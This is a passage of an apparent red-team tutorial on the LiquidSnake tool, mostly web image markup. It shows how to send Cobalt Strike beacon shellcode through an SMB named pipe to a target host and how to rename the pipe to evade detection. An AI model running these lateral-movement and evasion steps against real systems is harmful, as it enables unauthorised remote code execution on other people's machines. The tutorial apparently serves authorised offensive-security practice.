data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/ec3921a1-4bf2-418d-941a-21c9dbccb5cc_581x197.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:197,&quot;width&quot;:581,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;LiquidSnake&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="LiquidSnake" title="LiquidSnake" srcset="https://substackcdn.com/image/fetch/$s_!dcuH!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fec3921a1-4bf2-418d-941a-21c9dbccb5cc_581x197.png 424w, https://substackcdn.com/image/fetch/$s_!dcuH!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fec3921a1-4bf2-418d-941a-21c9dbccb5cc_581x197.png 848w, https://substackcdn.com/image/fetch/$s_!dcuH!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fec3921a1-4bf2-418d-941a-21c9dbccb5cc_581x197.png 1272w, https://substackcdn.com/image/fetch/$s_!dcuH!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fec3921a1-4bf2-418d-941a-21c9dbccb5cc_581x197.png 1456w" sizes="100vw"></picture><div></div></div></a></figure></div><p>Make sure to wait for the full output to be received before continuing - during this time the WMI event sub is being created and subsequently trigged. Once triggered, the target host will be listening on a SMB named pipe for shellcode to be executed. By default, the named pipe used is <code>\\.\pipe\6e7645c4-32c5-4fe3-aabf-e94c2f4370e7</code>. We&#8217;ll come back to this value later.</p><p>The author has a <a href="https://github.com/RiccardoAncarani/BOFs/tree/master/send_shellcode_via_pipe">BOF</a> and aggressor script which can be used to deliver our beacon shellcode to the listening pipe. I&#8217;ve generated some stageless beacon shellcode tied to the HTTPS listener to send. First, load up the aggressor script:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!wQL2!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe1a6ba2b-90c5-4abd-a117-fa41953acfcd_798x67.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!wQL2!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe1a6ba2b-90c5-4abd-a117-fa41953acfcd_798x67.png 424w, https://substackcdn.com/image/fetch/$s_!wQL2!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe1a6ba2b-90c5-4abd-a117-fa41953acfcd_798x67.png 848w, https://substackcdn.com/image/fetch/$s_!wQL2!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe1a6ba2b-90c5-4abd-a117-fa41953acfcd_798x67.png 1272w, https://substackcdn.com/image/fetch/$s_!wQL2!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe1a6ba2b-90c5-4abd-a117-fa41953acfcd_798x67.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!wQL2!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe1a6ba2b-90c5-4abd-a117-fa41953acfcd_798x67.png" width="798" height="67" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/e1a6ba2b-90c5-4abd-a117-fa41953acfcd_798x67.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:67,&quot;width&quot;:798,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:22500,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!wQL2!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe1a6ba2b-90c5-4abd-a117-fa41953acfcd_798x67.png 424w, https://substackcdn.com/image/fetch/$s_!wQL2!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe1a6ba2b-90c5-4abd-a117-fa41953acfcd_798x67.png 848w, https://substackcdn.com/image/fetch/$s_!wQL2!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe1a6ba2b-90c5-4abd-a117-fa41953acfcd_798x67.png 1272w, https://substackcdn.com/image/fetch/$s_!wQL2!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe1a6ba2b-90c5-4abd-a117-fa41953acfcd_798x67.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>Deliver the shellcode:</p><pre><code><code>send_shellcode_via_pipe \\oxenfurt\pipe\6e7645c4-32c5-4fe3-aabf-e94c2f4370e7 /opt/aggressor/beacon.bin</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!MmGn!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe77b4397-e198-41b7-91c2-5f630c985e97_711x220.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!MmGn!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe77b4397-e198-41b7-91c2-5f630c985e97_711x220.png 424w, https://substackcdn.com/image/fetch/$s_!MmGn!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe77b4397-e198-41b7-91c2-5f630c985e97_711x220.png 848w, https://substackcdn.com/image/fetch/$s_!MmGn!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe77b4397-e198-41b7-91c2-5f630c985e97_711x220.png 1272w, https://substackcdn.com/image/fetch/$s_!MmGn!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe77b4397-e198-41b7-91c2-5f630c985e97_711x220.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!MmGn!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe77b4397-e198-41b7-91c2-5f630c985e97_711x220.png" width="711" height="220" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/e77b4397-e198-41b7-91c2-5f630c985e97_711x220.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:220,&quot;width&quot;:711,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;Send Shellcode&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="Send Shellcode" title="Send Shellcode" srcset="https://substackcdn.com/image/fetch/$s_!MmGn!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe77b4397-e198-41b7-91c2-5f630c985e97_711x220.png 424w, https://substackcdn.com/image/fetch/$s_!MmGn!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe77b4397-e198-41b7-91c2-5f630c985e97_711x220.png 848w, https://substackcdn.com/image/fetch/$s_!MmGn!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe77b4397-e198-41b7-91c2-5f630c985e97_711x220.png 1272w, https://substackcdn.com/image/fetch/$s_!MmGn!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe77b4397-e198-41b7-91c2-5f630c985e97_711x220.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>And there&#8217;s our new beacon on the target:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!d8Aj!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F2c42bec9-e4aa-4e1e-900b-a25048af5ca4_293x237.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!d8Aj!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F2c42bec9-e4aa-4e1e-900b-a25048af5ca4_293x237.png 424w, https://substackcdn.com/image/fetch/$s_!d8Aj!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F2c42bec9-e4aa-4e1e-900b-a25048af5ca4_293x237.png 848w, https://substackcdn.com/image/fetch/$s_!d8Aj!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F2c42bec9-e4aa-4e1e-900b-a25048af5ca4_293x237.png 1272w, https://substackcdn.com/image/fetch/$s_!d8Aj!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F2c42bec9-e4aa-4e1e-900b-a25048af5ca4_293x237.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!d8Aj!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F2c42bec9-e4aa-4e1e-900b-a25048af5ca4_293x237.png" width="293" height="237" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/2c42bec9-e4aa-4e1e-900b-a25048af5ca4_293x237.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:237,&quot;width&quot;:293,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:33801,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!d8Aj!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F2c42bec9-e4aa-4e1e-900b-a25048af5ca4_293x237.png 424w, https://substackcdn.com/image/fetch/$s_!d8Aj!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F2c42bec9-e4aa-4e1e-900b-a25048af5ca4_293x237.png 848w, https://substackcdn.com/image/fetch/$s_!d8Aj!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F2c42bec9-e4aa-4e1e-900b-a25048af5ca4_293x237.png 1272w, https://substackcdn.com/image/fetch/$s_!d8Aj!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F2c42bec9-e4aa-4e1e-900b-a25048af5ca4_293x237.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p></p><h1><strong>Customizing the Named Pipe</strong></h1><p>If we&#8217;re to use LiquidSnake on a live operation, we&#8217;ll likely want to change to named pipe to better blend in. To do this, we&#8217;ll have to recompile the <code>CSharpNamedPipeLoader</code> solution from the LiquidSnake repo.</p><p>In <code>Program.cs</code> on line <code>410</code>, set the pipe name to your preferred value:</p><pre><code><code>IntPtr hPipe = CreateNamedPipe("\\\\.\\pipe\\MyNewPipeName")</code></code></pre><p>Make sure the project architecture is set to <code>x64</code> and compile. To work the edit into LiquidSnake, <a href="https://github.com/med0x2e/GadgetToJScript">GadgetToJScript</a> is used:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!5zOp!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F98440469-0e9f-40ad-83f4-d10af85ab623_700x111.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!5zOp!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F98440469-0e9f-40ad-83f4-d10af85ab623_700x111.png 424w, https://substackcdn.com/image/fetch/$s_!5zOp!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F98440469-0e9f-40ad-83f4-d10af85ab623_700x111.png 848w, https://substackcdn.com/image/fetch/$s_!5zOp!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F98440469-0e9f-40ad-83f4-d10af85ab623_700x111.png 1272w, https://substackcdn.com/image/fetch/$s_!5zOp!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F98440469-0e9f-40ad-83f4-d10af85ab623_700x111.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!5zOp!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F98440469-0e9f-40ad-83f4-d10af85ab623_700x111.png" width="700" height="111" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/98440469-0e9f-40ad-83f4-d10af85ab623_700x111.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:111,&quot;width&quot;:700,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:70125,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!5zOp!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F98440469-0e9f-40ad-83f4-d10af85ab623_700x111.png 424w, https://substackcdn.com/image/fetch/$s_!5zOp!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F98440469-0e9f-40ad-83f4-d10af85ab623_700x111.png 848w, https://substackcdn.com/image/fetch/$s_!5zOp!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F98440469-0e9f-40ad-83f4-d10af85ab623_700x111.png 1272w, https://substackcdn.com/image/fetch/$s_!5zOp!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F98440469-0e9f-40ad-83f4-d10af85ab623_700x111.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>Base64 up the resulting <code>test.vbs</code> file:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!NicU!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fc5477707-adaa-447e-ab25-e6b2ff01c128_700x130.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!NicU!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fc5477707-adaa-447e-ab25-e6b2ff01c128_700x130.png 424w, https://substackcdn.com/image/fetch/$s_!NicU!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fc5477707-adaa-447e-ab25-e6b2ff01c128_700x130.png 848w, https://substackcdn.com/image/fetch/$s_!NicU!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fc5477707-adaa-447e-ab25-e6b2ff01c128_700x130.png 1272w, https://substackcdn.com/image/fetch/$s_!NicU!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fc5477707-adaa-447e-ab25-e6b2ff01c128_700x130.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!NicU!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fc5477707-adaa-447e-ab25-e6b2ff01c128_700x130.png" width="700" height="130" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/c5477707-adaa-447e-ab25-e6b2ff01c128_700x130.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:130,&quot;width&quot;:700,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:166693,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!NicU!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fc5477707-adaa-447e-ab25-e6b2ff01c128_700x130.png 424w, https://substackcdn.com/image/fetch/$s_!NicU!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fc5477707-adaa-447e-ab25-e6b2ff01c128_700x130.png 848w, https://substackcdn.com/image/fetch/$s_!NicU!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fc5477707-adaa-447e-ab25-e6b2ff01c128_700x130.png 1272w, https://substackcdn.com/image/fetch/$s_!NicU!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fc5477707-adaa-447e-ab25-e6b2ff01c128_700x130.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>Paste that string into the LiquidSnake solution in <code>Program.cs</code> on line <code>29</code>:</p><pre><code><code>string vbscript64 = "RnVuY3Rbpb24gQmFzZTY0VG9..."</code></code></pre><p>Recompile the project and it&#8217;s back over to Cobalt Strike. Repeat the previously used beacon commands, except this time sub in your custom named pipe value when running <code>send_shellcode_via_pipe</code>:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!S1VV!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd073cbef-ec02-438e-87c7-f2807155e98a_608x390.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!S1VV!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd073cbef-ec02-438e-87c7-f2807155e98a_608x390.png 424w, https://substackcdn.com/image/fetch/$s_!S1VV!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd073cbef-ec02-438e-87c7-f2807155e98a_608x390.png 848w, https://substackcdn.com/image/fetch/$s_!S1VV!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd073cbef-ec02-438e-87c7-f2807155e98a_608x390.png 1272w, https://substackcdn.com/image/fetch/$s_!S1VV!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd073cbef-ec02-438e-87c7-f2807155e98a_608x390.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!S1VV!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd073cbef-ec02-438e-87c7-f2807155e98a_608x390.png" width="608" height="390" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/d073cbef-ec02-438e-87c7-f2807155e98a_608x390.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:390,&quot;width&quot;:608,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:72082,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!S1VV!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd073cbef-ec02-438e-87c7-f2807155e98a_608x390.png 424w, https://substackcdn.com/image/fetch/$s_!S1VV!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd073cbef-ec02-438e-87c7-f2807155e98a_608x390.png 848w, https://substackcdn.com/image/fetch/$s_!S1VV!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd073cbef-ec02-438e-87c7-f2807155e98a_608x390.png 1272w, https://substackcdn.com/image/fetch/$s_!S1VV!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd073cbef-ec02-438e-87c7-f2807155e98a_608x390.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 